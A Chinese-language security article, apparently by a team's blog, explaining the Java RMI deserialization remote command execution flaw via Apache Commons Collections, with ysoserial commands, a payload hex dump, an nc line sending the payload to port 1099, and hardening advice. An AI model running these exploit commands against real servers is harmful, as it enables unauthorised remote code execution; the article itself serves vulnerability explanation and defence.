1 概述
早在2015年的1月28号,Gabriel Lawrence和Chris Frohoff在AppSecCali上给出了一个报告,报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,但当时并没有引起太大的关注。后来FoxGlove Security安全团队发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版,当时各大src平台已被该漏洞刷屏,漏洞铺天盖地而来。
针对这个"2015年最被低估"的漏洞,各大受影响的Java应用厂商陆续发布了修复后的版本,Apache Commons Collections项目也对存在漏洞的类库进行了一定的安全处理,但是网络上仍有大量网站受此漏洞影响。本次讨论的对象是JAVA RMI反序列化远程命令执行漏洞。
2 何为java RMI
RMI是REMOTE METHODINVOCATION的简称,是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。
Java rmi远程调用如下:
RMI远程调用步骤:
l 客户对象调用客户端辅助对象上的方法
l 客户端辅助对象打包调用信息(变量,方法名),通过网络发送给服务端辅助对象
l 服务端辅助对象将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象
l 调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象
l 服务端辅助对象将结果打包,发送给客户端辅助对象
l 客户端辅助对象将返回值解包,返回给客户对象
l 客户对象获得返回值
3 Java Rmi命令执行是什么
1099端口是Java RMI的默认端口,RMI默认使用序列化来完成所有的交互,所以这是非常常见的漏洞。如果该端口暴露在公网上,且使用了Apache Commons Collections的漏洞版本,就可以在该服务器上执行相关命令。此处尝试利用ysoserial进行漏洞分析。
利用Java中Proxy的形式对攻击payload进行封装,并在对Proxy实现重新封装的过程中使用了大量的泛类型,使得payload可以应对不同的应用。
利用该漏洞可在服务器上执行相关命令,此处举例如下
$ java -jar ysoserial.jar CommonsCollections1 calc.exe |xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.:
$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc xx.xx.xx.xx 1099 < groovypayload.bin
$ java -cp ysoserial.jarysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
利用该漏洞查看相关datasource文件内容
RMI服务的攻击,同样可以使用URLClassLoader
方法进行回显
4 Java Rmi当前漏洞影响
虽然Java RMI服务远程命令执行漏洞过去了4年的时间,但是公网上依然有很多服务器存在该漏洞,此处对国内1099的端口开放情况做了初步统计,具体结果如下:
通过对简单扫描结果进行统计发现,1099端口中国开放12310 台,其中将端口用于RMI交互的主机3891 台,占比31.6%;存在反序列化漏洞3114 台,占比 25.29%。
5 加固意见
Ø 关闭rmi服务的端口在公网的开放;
Ø 下载SerialKiller临时补丁,这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型
Ø 在不影响业务的情况下,临时删除掉项目里的InvokerTransformer.class文件;
Ø 定时对WebLogic、Apache、JBoss等中间件进行升级。
关注我们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或关注公众号: